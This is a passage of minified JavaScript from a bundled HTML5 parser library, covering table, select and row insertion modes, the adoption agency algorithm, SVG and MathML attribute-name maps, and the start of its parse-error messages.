e.redirectAttachToFosterParent=!0,t.inBody.processCharacters(n),e.redirectAttachToFosterParent=!1},t.inTable.startTagCaption=function(t,n){e.openElements.popUntilTableScopeMarker(),e.activeFormattingElements.push(l),e.insertElement(t,n),e.setInsertionMode(\"inCaption\")},t.inTable.startTagColgroup=function(t,n){e.openElements.popUntilTableScopeMarker(),e.insertElement(t,n),e.setInsertionMode(\"inColumnGroup\")},t.inTable.startTagCol=function(t,n){this.startTagColgroup(\"colgroup\",[]),e.insertionMode.processStartTag(t,n)},t.inTable.startTagRowGroup=function(t,n){e.openElements.popUntilTableScopeMarker(),e.insertElement(t,n),e.setInsertionMode(\"inTableBody\")},t.inTable.startTagImplyTbody=function(t,n){this.startTagRowGroup(\"tbody\",[]),e.insertionMode.processStartTag(t,n)},t.inTable.startTagTable=function(t,n){e.parseError(\"unexpected-start-tag-implies-end-tag\",{startName:\"table\",endName:\"table\"}),e.insertionMode.processEndTag(\"table\"),e.context||e.insertionMode.processStartTag(t,n)},t.inTable.startTagStyleScript=function(e,n){t.inHead.processStartTag(e,n)},t.inTable.startTagInput=function(t,n){for(var r in n)if(n[r].nodeName.toLowerCase()==\"type\"){if(n[r].nodeValue.toLowerCase()==\"hidden\"){e.parseError(\"unexpected-hidden-input-in-table\"),e.insertElement(t,n),e.openElements.pop();return}break}this.startTagOther(t,n)},t.inTable.startTagForm=function(t,n){e.parseError(\"unexpected-form-in-table\"),e.form||(e.insertElement(t,n),e.form=e.currentStackItem(),e.openElements.pop())},t.inTable.startTagOther=function(n,r,i){e.parseError(\"unexpected-start-tag-implies-table-voodoo\",{name:n}),e.redirectAttachToFosterParent=!0,t.inBody.processStartTag(n,r,i),e.redirectAttachToFosterParent=!1},t.inTable.endTagTable=function(t){e.openElements.inTableScope(t)?(e.generateImpliedEndTags(),e.currentStackItem().localName!=t&&e.parseError(\"end-tag-too-early-named\",{gotName:\"table\",expectedName:e.currentStackItem().localName}),e.openElements.popUntilPopped(\"table\"),e.resetInsertionMode()):(r.ok(e.context),e.parseError(\"unexpected-end-tag\",{name:t}))},t.inTable.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag\",{name:t})},t.inTable.endTagOther=function(n){e.parseError(\"unexpected-end-tag-implies-table-voodoo\",{name:n}),e.redirectAttachToFosterParent=!0,t.inBody.processEndTag(n),e.redirectAttachToFosterParent=!1},t.inTableText=Object.create(t.base),t.inTableText.flushCharacters=function(){var t=e.pendingTableCharacters.join(\"\");p(t)?e.insertText(t):(e.redirectAttachToFosterParent=!0,e.reconstructActiveFormattingElements(),e.insertText(t),e.framesetOk=!1,e.redirectAttachToFosterParent=!1),e.pendingTableCharacters=[]},t.inTableText.processComment=function(t){this.flushCharacters(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processComment(t)},t.inTableText.processEOF=function(t){this.flushCharacters(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processEOF()},t.inTableText.processCharacters=function(t){var n=t.takeRemaining();n=n.replace(/\\u0000/g,function(t,n){return e.parseError(\"invalid-codepoint\"),\"\"});if(!n)return;e.pendingTableCharacters.push(n)},t.inTableText.processStartTag=function(t,n,r){this.flushCharacters(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processStartTag(t,n,r)},t.inTableText.processEndTag=function(t,n){this.flushCharacters(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processEndTag(t,n)},t.inTableBody=Object.create(t.base),t.inTableBody.start_tag_handlers={html:\"startTagHtml\",tr:\"startTagTr\",td:\"startTagTableCell\",th:\"startTagTableCell\",caption:\"startTagTableOther\",col:\"startTagTableOther\",colgroup:\"startTagTableOther\",tbody:\"startTagTableOther\",tfoot:\"startTagTableOther\",thead:\"startTagTableOther\",\"-default\":\"startTagOther\"},t.inTableBody.end_tag_handlers={table:\"endTagTable\",tbody:\"endTagTableRowGroup\",tfoot:\"endTagTableRowGroup\",thead:\"endTagTableRowGroup\",body:\"endTagIgnore\",caption:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",td:\"endTagIgnore\",th:\"endTagIgnore\",tr:\"endTagIgnore\",\"-default\":\"endTagOther\"},t.inTableBody.processCharacters=function(e){t.inTable.processCharacters(e)},t.inTableBody.startTagTr=function(t,n){e.openElements.popUntilTableBodyScopeMarker(),e.insertElement(t,n),e.setInsertionMode(\"inRow\")},t.inTableBody.startTagTableCell=function(t,n){e.parseError(\"unexpected-cell-in-table-body\",{name:t}),this.startTagTr(\"tr\",[]),e.insertionMode.processStartTag(t,n)},t.inTableBody.startTagTableOther=function(t,n){e.openElements.inTableScope(\"tbody\")||e.openElements.inTableScope(\"thead\")||e.openElements.inTableScope(\"tfoot\")?(e.openElements.popUntilTableBodyScopeMarker(),this.endTagTableRowGroup(e.currentStackItem().localName),e.insertionMode.processStartTag(t,n)):e.parseError(\"unexpected-start-tag\",{name:t})},t.inTableBody.startTagOther=function(e,n){t.inTable.processStartTag(e,n)},t.inTableBody.endTagTableRowGroup=function(t){e.openElements.inTableScope(t)?(e.openElements.popUntilTableBodyScopeMarker(),e.popElement(),e.setInsertionMode(\"inTable\")):e.parseError(\"unexpected-end-tag-in-table-body\",{name:t})},t.inTableBody.endTagTable=function(t){e.openElements.inTableScope(\"tbody\")||e.openElements.inTableScope(\"thead\")||e.openElements.inTableScope(\"tfoot\")?(e.openElements.popUntilTableBodyScopeMarker(),this.endTagTableRowGroup(e.currentStackItem().localName),e.insertionMode.processEndTag(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inTableBody.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag-in-table-body\",{name:t})},t.inTableBody.endTagOther=function(e){t.inTable.processEndTag(e)},t.inSelect=Object.create(t.base),t.inSelect.start_tag_handlers={html:\"startTagHtml\",option:\"startTagOption\",optgroup:\"startTagOptgroup\",select:\"startTagSelect\",input:\"startTagInput\",keygen:\"startTagInput\",textarea:\"startTagInput\",script:\"startTagScript\",\"-default\":\"startTagOther\"},t.inSelect.end_tag_handlers={option:\"endTagOption\",optgroup:\"endTagOptgroup\",select:\"endTagSelect\",caption:\"endTagTableElements\",table:\"endTagTableElements\",tbody:\"endTagTableElements\",tfoot:\"endTagTableElements\",thead:\"endTagTableElements\",tr:\"endTagTableElements\",td:\"endTagTableElements\",th:\"endTagTableElements\",\"-default\":\"endTagOther\"},t.inSelect.processCharacters=function(t){var n=t.takeRemaining();n=n.replace(/\\u0000/g,function(t,n){return e.parseError(\"invalid-codepoint\"),\"\"});if(!n)return;e.insertText(n)},t.inSelect.startTagOption=function(t,n){e.currentStackItem().localName==\"option\"&&e.popElement(),e.insertElement(t,n)},t.inSelect.startTagOptgroup=function(t,n){e.currentStackItem().localName==\"option\"&&e.popElement(),e.currentStackItem().localName==\"optgroup\"&&e.popElement(),e.insertElement(t,n)},t.inSelect.endTagOption=function(t){if(e.currentStackItem().localName!==\"option\"){e.parseError(\"unexpected-end-tag-in-select\",{name:t});return}e.popElement()},t.inSelect.endTagOptgroup=function(t){e.currentStackItem().localName==\"option\"&&e.openElements.item(e.openElements.length-2).localName==\"optgroup\"&&e.popElement(),e.currentStackItem().localName==\"optgroup\"?e.popElement():e.parseError(\"unexpected-end-tag-in-select\",{name:\"optgroup\"})},t.inSelect.startTagSelect=function(t){e.parseError(\"unexpected-select-in-select\"),this.endTagSelect(\"select\")},t.inSelect.endTagSelect=function(t){e.openElements.inTableScope(\"select\")?(e.openElements.popUntilPopped(\"select\"),e.resetInsertionMode()):e.parseError(\"unexpected-end-tag\",{name:t})},t.inSelect.startTagInput=function(t,n){e.parseError(\"unexpected-input-in-select\"),e.openElements.inSelectScope(\"select\")&&(this.endTagSelect(\"select\"),e.insertionMode.processStartTag(t,n))},t.inSelect.startTagScript=function(e,n){t.inHead.processStartTag(e,n)},t.inSelect.endTagTableElements=function(t){e.parseError(\"unexpected-end-tag-in-select\",{name:t}),e.openElements.inTableScope(t)&&(this.endTagSelect(\"select\"),e.insertionMode.processEndTag(t))},t.inSelect.startTagOther=function(t,n){e.parseError(\"unexpected-start-tag-in-select\",{name:t})},t.inSelect.endTagOther=function(t){e.parseError(\"unexpected-end-tag-in-select\",{name:t})},t.inSelectInTable=Object.create(t.base),t.inSelectInTable.start_tag_handlers={caption:\"startTagTable\",table:\"startTagTable\",tbody:\"startTagTable\",tfoot:\"startTagTable\",thead:\"startTagTable\",tr:\"startTagTable\",td:\"startTagTable\",th:\"startTagTable\",\"-default\":\"startTagOther\"},t.inSelectInTable.end_tag_handlers={caption:\"endTagTable\",table:\"endTagTable\",tbody:\"endTagTable\",tfoot:\"endTagTable\",thead:\"endTagTable\",tr:\"endTagTable\",td:\"endTagTable\",th:\"endTagTable\",\"-default\":\"endTagOther\"},t.inSelectInTable.processCharacters=function(e){t.inSelect.processCharacters(e)},t.inSelectInTable.startTagTable=function(t,n){e.parseError(\"unexpected-table-element-start-tag-in-select-in-table\",{name:t}),this.endTagOther(\"select\"),e.insertionMode.processStartTag(t,n)},t.inSelectInTable.startTagOther=function(e,n,r){t.inSelect.processStartTag(e,n,r)},t.inSelectInTable.endTagTable=function(t){e.parseError(\"unexpected-table-element-end-tag-in-select-in-table\",{name:t}),e.openElements.inTableScope(t)&&(this.endTagOther(\"select\"),e.insertionMode.processEndTag(t))},t.inSelectInTable.endTagOther=function(e){t.inSelect.processEndTag(e)},t.inRow=Object.create(t.base),t.inRow.start_tag_handlers={html:\"startTagHtml\",td:\"startTagTableCell\",th:\"startTagTableCell\",caption:\"startTagTableOther\",col:\"startTagTableOther\",colgroup:\"startTagTableOther\",tbody:\"startTagTableOther\",tfoot:\"startTagTableOther\",thead:\"startTagTableOther\",tr:\"startTagTableOther\",\"-default\":\"startTagOther\"},t.inRow.end_tag_handlers={tr:\"endTagTr\",table:\"endTagTable\",tbody:\"endTagTableRowGroup\",tfoot:\"endTagTableRowGroup\",thead:\"endTagTableRowGroup\",body:\"endTagIgnore\",caption:\"endTagIgnore\",col:\"endTagIgnore\",colgroup:\"endTagIgnore\",html:\"endTagIgnore\",td:\"endTagIgnore\",th:\"endTagIgnore\",\"-default\":\"endTagOther\"},t.inRow.processCharacters=function(e){t.inTable.processCharacters(e)},t.inRow.startTagTableCell=function(t,n){e.openElements.popUntilTableRowScopeMarker(),e.insertElement(t,n),e.setInsertionMode(\"inCell\"),e.activeFormattingElements.push(l)},t.inRow.startTagTableOther=function(t,n){var r=this.ignoreEndTagTr();this.endTagTr(\"tr\"),r||e.insertionMode.processStartTag(t,n)},t.inRow.startTagOther=function(e,n,r){t.inTable.processStartTag(e,n,r)},t.inRow.endTagTr=function(t){this.ignoreEndTagTr()?(r.ok(e.context),e.parseError(\"unexpected-end-tag\",{name:t})):(e.openElements.popUntilTableRowScopeMarker(),e.popElement(),e.setInsertionMode(\"inTableBody\"))},t.inRow.endTagTable=function(t){var n=this.ignoreEndTagTr();this.endTagTr(\"tr\"),n||e.insertionMode.processEndTag(t)},t.inRow.endTagTableRowGroup=function(t){e.openElements.inTableScope(t)?(this.endTagTr(\"tr\"),e.insertionMode.processEndTag(t)):e.parseError(\"unexpected-end-tag\",{name:t})},t.inRow.endTagIgnore=function(t){e.parseError(\"unexpected-end-tag-in-table-row\",{name:t})},t.inRow.endTagOther=function(e){t.inTable.processEndTag(e)},t.inRow.ignoreEndTagTr=function(){return!e.openElements.inTableScope(\"tr\")},t.afterAfterFrameset=Object.create(t.base),t.afterAfterFrameset.start_tag_handlers={html:\"startTagHtml\",noframes:\"startTagNoFrames\",\"-default\":\"startTagOther\"},t.afterAfterFrameset.processEOF=function(){},t.afterAfterFrameset.processComment=function(t){e.insertComment(t,e.document)},t.afterAfterFrameset.processCharacters=function(t){var n=t.takeRemaining(),r=\"\";for(var i=0;i<n.length;i++){var s=n[i];c(s)&&(r+=s)}r&&(e.reconstructActiveFormattingElements(),e.insertText(r)),r.length<n.length&&e.parseError(\"expected-eof-but-got-char\")},t.afterAfterFrameset.startTagNoFrames=function(e,n){t.inHead.processStartTag(e,n)},t.afterAfterFrameset.startTagOther=function(t,n,r){e.parseError(\"expected-eof-but-got-start-tag\",{name:t})},t.afterAfterFrameset.processEndTag=function(t,n){e.parseError(\"expected-eof-but-got-end-tag\",{name:t})},t.text=Object.create(t.base),t.text.start_tag_handlers={\"-default\":\"startTagOther\"},t.text.end_tag_handlers={script:\"endTagScript\",\"-default\":\"endTagOther\"},t.text.processCharacters=function(t){e.shouldSkipLeadingNewline&&(e.shouldSkipLeadingNewline=!1,t.skipAtMostOneLeadingNewline());var n=t.takeRemaining();if(!n)return;e.insertText(n)},t.text.processEOF=function(){e.parseError(\"expected-named-closing-tag-but-got-eof\",{name:e.currentStackItem().localName}),e.openElements.pop(),e.setInsertionMode(e.originalInsertionMode),e.insertionMode.processEOF()},t.text.startTagOther=function(e){throw\"Tried to process start tag \"+e+\" in RCDATA/RAWTEXT mode\"},t.text.endTagScript=function(t){var n=e.openElements.pop();r.ok(n.localName==\"script\"),e.setInsertionMode(e.originalInsertionMode)},t.text.endTagOther=function(t){e.openElements.pop(),e.setInsertionMode(e.originalInsertionMode)}}function y(e,t){return e.replace(new RegExp(\"{[0-9a-z-]+}\",\"gi\"),function(e){return t[e.slice(1,-1)]||e})}var r=e(\"assert\"),i=e(\"./messages.json\"),s=e(\"./constants\"),o=e(\"events\").EventEmitter,u=e(\"./Tokenizer\").Tokenizer,a=e(\"./ElementStack\").ElementStack,f=e(\"./StackItem\").StackItem,l={};m.prototype.skipAtMostOneLeadingNewline=function(){this.characters[this.current]===\"\\n\"&&this.current++},m.prototype.skipLeadingWhitespace=function(){while(c(this.characters[this.current]))if(++this.current==this.end)return},m.prototype.skipLeadingNonWhitespace=function(){while(!c(this.characters[this.current]))if(++this.current==this.end)return},m.prototype.takeRemaining=function(){return this.characters.substring(this.current)},m.prototype.takeLeadingWhitespace=function(){var e=this.current;return this.skipLeadingWhitespace(),e===this.current?\"\":this.characters.substring(e,this.current-e)},Object.defineProperty(m.prototype,\"length\",{get:function(){return this.end-this.current}}),g.prototype.setInsertionMode=function(e){this.insertionMode=this.insertionModes[e],this.insertionModeName=e},g.prototype.adoptionAgencyEndTag=function(e){function i(e){return e===r}var t=8,n=3,r,s=0;while(s++<t){r=this.elementInActiveFormattingElements(e);if(!r||this.openElements.contains(r)&&!this.openElements.inScope(r.localName))return this.parseError(\"adoption-agency-1.1\",{name:e}),!1;if(!this.openElements.contains(r))return this.parseError(\"adoption-agency-1.2\",{name:e}),this.removeElementFromActiveFormattingElements(r),!0;this.openElements.inScope(r.localName)||this.parseError(\"adoption-agency-4.4\",{name:e}),r!=this.currentStackItem()&&this.parseError(\"adoption-agency-1.3\",{name:e});var o=this.openElements.furthestBlockForFormattingElement(r.node);if(!o)return this.openElements.remove_openElements_until(i),this.removeElementFromActiveFormattingElements(r),!0;var u=this.openElements.elements.indexOf(r),a=this.openElements.item(u-1),l=this.activeFormattingElements.indexOf(r),c=o,h=o,p=this.openElements.elements.indexOf(c),d=0;while(d++<n){p-=1,c=this.openElements.item(p);if(this.activeFormattingElements.indexOf(c)<0){this.openElements.elements.splice(p,1);continue}if(c==r)break;h==o&&(l=this.activeFormattingElements.indexOf(c)+1);var v=this.createElement(c.namespaceURI,c.localName,c.attributes),m=new f(c.namespaceURI,c.localName,c.attributes,v);this.activeFormattingElements[this.activeFormattingElements.indexOf(c)]=m,this.openElements.elements[this.openElements.elements.indexOf(c)]=m,c=m,this.detachFromParent(h.node),this.attachNode(h.node,c.node),h=c}this.detachFromParent(h.node),a.isFosterParenting()?this.insertIntoFosterParent(h.node):this.attachNode(h.node,a.node);var v=this.createElement(\"http://www.w3.org/1999/xhtml\",r.localName,r.attributes),g=new f(r.namespaceURI,r.localName,r.attributes,v);this.reparentChildren(o.node,v),this.attachNode(v,o.node),this.removeElementFromActiveFormattingElements(r),this.activeFormattingElements.splice(Math.min(l,this.activeFormattingElements.length),0,g),this.openElements.remove(r),this.openElements.elements.splice(this.openElements.elements.indexOf(o)+1,0,g)}return!0},g.prototype.start=function(){throw\"Not mplemented\"},g.prototype.startTokenization=function(e){this.tokenizer=e,this.compatMode=\"no quirks\",this.originalInsertionMode=\"initial\",this.framesetOk=!0,this.openElements=new a,this.activeFormattingElements=[],this.start();if(this.context){switch(this.context){case\"title\":case\"textarea\":this.tokenizer.setState(u.RCDATA);break;case\"style\":case\"xmp\":case\"iframe\":case\"noembed\":case\"noframes\":this.tokenizer.setState(u.RAWTEXT);break;case\"script\":this.tokenizer.setState(u.SCRIPT_DATA);break;case\"noscript\":this.scriptingEnabled&&this.tokenizer.setState(u.RAWTEXT);break;case\"plaintext\":this.tokenizer.setState(u.PLAINTEXT)}this.insertHtmlElement(),this.resetInsertionMode()}else this.setInsertionMode(\"initial\")},g.prototype.processToken=function(e){this.selfClosingFlagAcknowledged=!1;var t=this.openElements.top||null,n;!t||!t.isForeign()||t.isMathMLTextIntegrationPoint()&&(e.type==\"StartTag\"&&!(e.name in{mglyph:0,malignmark:0})||e.type===\"Characters\")||t.namespaceURI==\"http://www.w3.org/1998/Math/MathML\"&&t.localName==\"annotation-xml\"&&e.type==\"StartTag\"&&e.name==\"svg\"||t.isHtmlIntegrationPoint()&&e.type in{StartTag:0,Characters:0}||e.type==\"EOF\"?n=this.insertionMode:n=this.insertionModes.inForeignContent;switch(e.type){case\"Characters\":var r=new m(e.data);n.processCharacters(r);break;case\"Comment\":n.processComment(e.data);break;case\"StartTag\":n.processStartTag(e.name,e.data,e.selfClosing);break;case\"EndTag\":n.processEndTag(e.name);break;case\"Doctype\":n.processDoctype(e.name,e.publicId,e.systemId,e.forceQuirks);break;case\"EOF\":n.processEOF()}},g.prototype.isCdataSectionAllowed=function(){return this.openElements.length>0&&this.currentStackItem().isForeign()},g.prototype.isSelfClosingFlagAcknowledged=function(){return this.selfClosingFlagAcknowledged},g.prototype.createElement=function(e,t,n){throw new Error(\"Not implemented\")},g.prototype.attachNode=function(e,t){throw new Error(\"Not implemented\")},g.prototype.attachNodeToFosterParent=function(e,t,n){throw new Error(\"Not implemented\")},g.prototype.detachFromParent=function(e){throw new Error(\"Not implemented\")},g.prototype.addAttributesToElement=function(e,t){throw new Error(\"Not implemented\")},g.prototype.insertHtmlElement=function(e){var t=this.createElement(\"http://www.w3.org/1999/xhtml\",\"html\",e);return this.attachNode(t,this.document),this.openElements.pushHtmlElement(new f(\"http://www.w3.org/1999/xhtml\",\"html\",e,t)),t},g.prototype.insertHeadElement=function(e){var t=this.createElement(\"http://www.w3.org/1999/xhtml\",\"head\",e);return this.head=new f(\"http://www.w3.org/1999/xhtml\",\"head\",e,t),this.attachNode(t,this.openElements.top.node),this.openElements.pushHeadElement(this.head),t},g.prototype.insertBodyElement=function(e){var t=this.createElement(\"http://www.w3.org/1999/xhtml\",\"body\",e);return this.attachNode(t,this.openElements.top.node),this.openElements.pushBodyElement(new f(\"http://www.w3.org/1999/xhtml\",\"body\",e,t)),t},g.prototype.insertIntoFosterParent=function(e){var t=this.openElements.findIndex(\"table\"),n=this.openElements.item(t).node;if(t===0)return this.attachNode(e,n);this.attachNodeToFosterParent(e,n,this.openElements.item(t-1).node)},g.prototype.insertElement=function(e,t,n,r){n||(n=\"http://www.w3.org/1999/xhtml\");var i=this.createElement(n,e,t);this.shouldFosterParent()?this.insertIntoFosterParent(i):this.attachNode(i,this.openElements.top.node),r||this.openElements.push(new f(n,e,t,i))},g.prototype.insertFormattingElement=function(e,t){this.insertElement(e,t,\"http://www.w3.org/1999/xhtml\"),this.appendElementToActiveFormattingElements(this.currentStackItem())},g.prototype.insertSelfClosingElement=function(e,t){this.selfClosingFlagAcknowledged=!0,this.insertElement(e,t,\"http://www.w3.org/1999/xhtml\",!0)},g.prototype.insertForeignElement=function(e,t,n,r){r&&(this.selfClosingFlagAcknowledged=!0),this.insertElement(e,t,n,r)},g.prototype.insertComment=function(e,t){throw new Error(\"Not implemented\")},g.prototype.insertDoctype=function(e,t,n){throw new Error(\"Not implemented\")},g.prototype.insertText=function(e){throw new Error(\"Not implemented\")},g.prototype.currentStackItem=function(){return this.openElements.top},g.prototype.popElement=function(){return this.openElements.pop()},g.prototype.shouldFosterParent=function(){return this.redirectAttachToFosterParent&&this.currentStackItem().isFosterParenting()},g.prototype.generateImpliedEndTags=function(e){var t=this.openElements.top.localName;[\"dd\",\"dt\",\"li\",\"option\",\"optgroup\",\"p\",\"rp\",\"rt\"].indexOf(t)!=-1&&t!=e&&(this.popElement(),this.generateImpliedEndTags(e))},g.prototype.reconstructActiveFormattingElements=function(){if(this.activeFormattingElements.length===0)return;var e=this.activeFormattingElements.length-1,t=this.activeFormattingElements[e];if(t==l||this.openElements.contains(t))return;while(t!=l&&!this.openElements.contains(t)){e-=1,t=this.activeFormattingElements[e];if(!t)break}for(;;){e+=1,t=this.activeFormattingElements[e],this.insertElement(t.localName,t.attributes);var n=this.currentStackItem();this.activeFormattingElements[e]=n;if(n==this.activeFormattingElements[this.activeFormattingElements.length-1])break}},g.prototype.ensureNoahsArkCondition=function(e){var t=3;if(this.activeFormattingElements.length<t)return;var n=[],r=e.attributes.length;for(var i=this.activeFormattingElements.length-1;i>=0;i--){var s=this.activeFormattingElements[i];if(s===l)break;if(e.localName!==s.localName||e.namespaceURI!==s.namespaceURI)continue;if(s.attributes.length!=r)continue;n.push(s)}if(n.length<t)return;var o=[],u=e.attributes;for(var i=0;i<u.length;i++){var a=u[i];for(var f=0;f<n.length;f++){var s=n[f],c=v(s,a.nodeName);c&&c.nodeValue===a.nodeValue&&o.push(s)}if(o.length<t)return;n=o,o=[]}for(var i=t-1;i<n.length;i++)this.removeElementFromActiveFormattingElements(n[i])},g.prototype.appendElementToActiveFormattingElements=function(e){this.ensureNoahsArkCondition(e),this.activeFormattingElements.push(e)},g.prototype.removeElementFromActiveFormattingElements=function(e){var t=this.activeFormattingElements.indexOf(e);t>=0&&this.activeFormattingElements.splice(t,1)},g.prototype.elementInActiveFormattingElements=function(e){var t=this.activeFormattingElements;for(var n=t.length-1;n>=0;n--){if(t[n]==l)break;if(t[n].localName==e)return t[n]}return!1},g.prototype.clearActiveFormattingElements=function(){while(this.activeFormattingElements.length!==0&&this.activeFormattingElements.pop()!=l);},g.prototype.reparentChildren=function(e,t){throw new Error(\"Not implemented\")},g.prototype.setFragmentContext=function(e){this.context=e},g.prototype.parseError=function(e,t){if(!this.errorHandler)return;var n=y(i[e],t);this.errorHandler.error(n,this.tokenizer._inputStream.location(),e)},g.prototype.resetInsertionMode=function(){var e=!1,t=null;for(var n=this.openElements.length-1;n>=0;n--){t=this.openElements.item(n),n===0&&(r.ok(this.context),e=!0,t=new f(\"http://www.w3.org/1999/xhtml\",this.context,[],null));if(t.namespaceURI===\"http://www.w3.org/1999/xhtml\"){if(t.localName===\"select\")return this.setInsertionMode(\"inSelect\");if(t.localName===\"td\"||t.localName===\"th\")return this.setInsertionMode(\"inCell\");if(t.localName===\"tr\")return this.setInsertionMode(\"inRow\");if(t.localName===\"tbody\"||t.localName===\"thead\"||t.localName===\"tfoot\")return this.setInsertionMode(\"inTableBody\");if(t.localName===\"caption\")return this.setInsertionMode(\"inCaption\");if(t.localName===\"colgroup\")return this.setInsertionMode(\"inColumnGroup\");if(t.localName===\"table\")return this.setInsertionMode(\"inTable\");if(t.localName===\"head\"&&!e)return this.setInsertionMode(\"inHead\");if(t.localName===\"body\")return this.setInsertionMode(\"inBody\");if(t.localName===\"frameset\")return this.setInsertionMode(\"inFrameset\");if(t.localName===\"html\")return this.openElements.headElement?this.setInsertionMode(\"afterHead\"):this.setInsertionMode(\"beforeHead\")}if(e)return this.setInsertionMode(\"inBody\")}},g.prototype.processGenericRCDATAStartTag=function(e,t){this.insertElement(e,t),this.tokenizer.setState(u.RCDATA),this.originalInsertionMode=this.insertionModeName,this.setInsertionMode(\"text\")},g.prototype.processGenericRawTextStartTag=function(e,t){this.insertElement(e,t),this.tokenizer.setState(u.RAWTEXT),this.originalInsertionMode=this.insertionModeName,this.setInsertionMode(\"text\")},g.prototype.adjustMathMLAttributes=function(e){return e.forEach(function(e){e.namespaceURI=\"http://www.w3.org/1998/Math/MathML\",s.MATHMLAttributeMap[e.nodeName]&&(e.nodeName=s.MATHMLAttributeMap[e.nodeName])}),e},g.prototype.adjustSVGTagNameCase=function(e){return s.SVGTagMap[e]||e},g.prototype.adjustSVGAttributes=function(e){return e.forEach(function(e){e.namespaceURI=\"http://www.w3.org/2000/svg\",s.SVGAttributeMap[e.nodeName]&&(e.nodeName=s.SVGAttributeMap[e.nodeName])}),e},g.prototype.adjustForeignAttributes=function(e){for(var t=0;t<e.length;t++){var n=e[t],r=s.ForeignAttributeMap[n.nodeName];r&&(n.nodeName=r.localName,n.prefix=r.prefix,n.namespaceURI=r.namespaceURI)}return e},n.TreeBuilder=g},{\"./ElementStack\":1,\"./StackItem\":4,\"./Tokenizer\":5,\"./constants\":7,\"./messages.json\":8,assert:13,events:16}],7:[function(e,t,n){n.SVGTagMap={altglyph:\"altGlyph\",altglyphdef:\"altGlyphDef\",altglyphitem:\"altGlyphItem\",animatecolor:\"animateColor\",animatemotion:\"animateMotion\",animatetransform:\"animateTransform\",clippath:\"clipPath\",feblend:\"feBlend\",fecolormatrix:\"feColorMatrix\",fecomponenttransfer:\"feComponentTransfer\",fecomposite:\"feComposite\",feconvolvematrix:\"feConvolveMatrix\",fediffuselighting:\"feDiffuseLighting\",fedisplacementmap:\"feDisplacementMap\",fedistantlight:\"feDistantLight\",feflood:\"feFlood\",fefunca:\"feFuncA\",fefuncb:\"feFuncB\",fefuncg:\"feFuncG\",fefuncr:\"feFuncR\",fegaussianblur:\"feGaussianBlur\",feimage:\"feImage\",femerge:\"feMerge\",femergenode:\"feMergeNode\",femorphology:\"feMorphology\",feoffset:\"feOffset\",fepointlight:\"fePointLight\",fespecularlighting:\"feSpecularLighting\",fespotlight:\"feSpotLight\",fetile:\"feTile\",feturbulence:\"feTurbulence\",foreignobject:\"foreignObject\",glyphref:\"glyphRef\",lineargradient:\"linearGradient\",radialgradient:\"radialGradient\",textpath:\"textPath\"},n.MATHMLAttributeMap={definitionurl:\"definitionURL\"},n.SVGAttributeMap={attributename:\"attributeName\",attributetype:\"attributeType\",basefrequency:\"baseFrequency\",baseprofile:\"baseProfile\",calcmode:\"calcMode\",clippathunits:\"clipPathUnits\",contentscripttype:\"contentScriptType\",contentstyletype:\"contentStyleType\",diffuseconstant:\"diffuseConstant\",edgemode:\"edgeMode\",externalresourcesrequired:\"externalResourcesRequired\",filterres:\"filterRes\",filterunits:\"filterUnits\",glyphref:\"glyphRef\",gradienttransform:\"gradientTransform\",gradientunits:\"gradientUnits\",kernelmatrix:\"kernelMatrix\",kernelunitlength:\"kernelUnitLength\",keypoints:\"keyPoints\",keysplines:\"keySplines\",keytimes:\"keyTimes\",lengthadjust:\"lengthAdjust\",limitingconeangle:\"limitingConeAngle\",markerheight:\"markerHeight\",markerunits:\"markerUnits\",markerwidth:\"markerWidth\",maskcontentunits:\"maskContentUnits\",maskunits:\"maskUnits\",numoctaves:\"numOctaves\",pathlength:\"pathLength\",patterncontentunits:\"patternContentUnits\",patterntransform:\"patternTransform\",patternunits:\"patternUnits\",pointsatx:\"pointsAtX\",pointsaty:\"pointsAtY\",pointsatz:\"pointsAtZ\",preservealpha:\"preserveAlpha\",preserveaspectratio:\"preserveAspectRatio\",primitiveunits:\"primitiveUnits\",refx:\"refX\",refy:\"refY\",repeatcount:\"repeatCount\",repeatdur:\"repeatDur\",requiredextensions:\"requiredExtensions\",requiredfeatures:\"requiredFeatures\",specularconstant:\"specularConstant\",specularexponent:\"specularExponent\",spreadmethod:\"spreadMethod\",startoffset:\"startOffset\",stddeviation:\"stdDeviation\",stitchtiles:\"stitchTiles\",surfacescale:\"surfaceScale\",systemlanguage:\"systemLanguage\",tablevalues:\"tableValues\",targetx:\"targetX\",targety:\"targetY\",textlength:\"textLength\",viewbox:\"viewBox\",viewtarget:\"viewTarget\",xchannelselector:\"xChannelSelector\",ychannelselector:\"yChannelSelector\",zoomandpan:\"zoomAndPan\"},n.ForeignAttributeMap={\"xlink:actuate\":{prefix:\"xlink\",localName:\"actuate\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:arcrole\":{prefix:\"xlink\",localName:\"arcrole\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:href\":{prefix:\"xlink\",localName:\"href\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:role\":{prefix:\"xlink\",localName:\"role\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:show\":{prefix:\"xlink\",localName:\"show\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:title\":{prefix:\"xlink\",localName:\"title\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xlink:type\":{prefix:\"xlink\",localName:\"title\",namespaceURI:\"http://www.w3.org/1999/xlink\"},\"xml:base\":{prefix:\"xml\",localName:\"base\",namespaceURI:\"http://www.w3.org/XML/1998/namespace\"},\"xml:lang\":{prefix:\"xml\",localName:\"lang\",namespaceURI:\"http://www.w3.org/XML/1998/namespace\"},\"xml:space\":{prefix:\"xml\",localName:\"space\",namespaceURI:\"http://www.w3.org/XML/1998/namespace\"},xmlns:{prefix:null,localName:\"xmlns\",namespaceURI:\"http://www.w3.org/2000/xmlns/\"},\"xmlns:xlink\":{prefix:\"xmlns\",localName:\"xlink\",namespaceURI:\"http://www.w3.org/2000/xmlns/\"}}},{}],8:[function(e,t,n){t.exports={\"null-character\":\"Null character in input stream, replaced with U+FFFD.\",\"invalid-codepoint\":\"Invalid codepoint in stream\",\"incorrectly-placed-solidus\":\"Solidus (/) incorrectly placed in 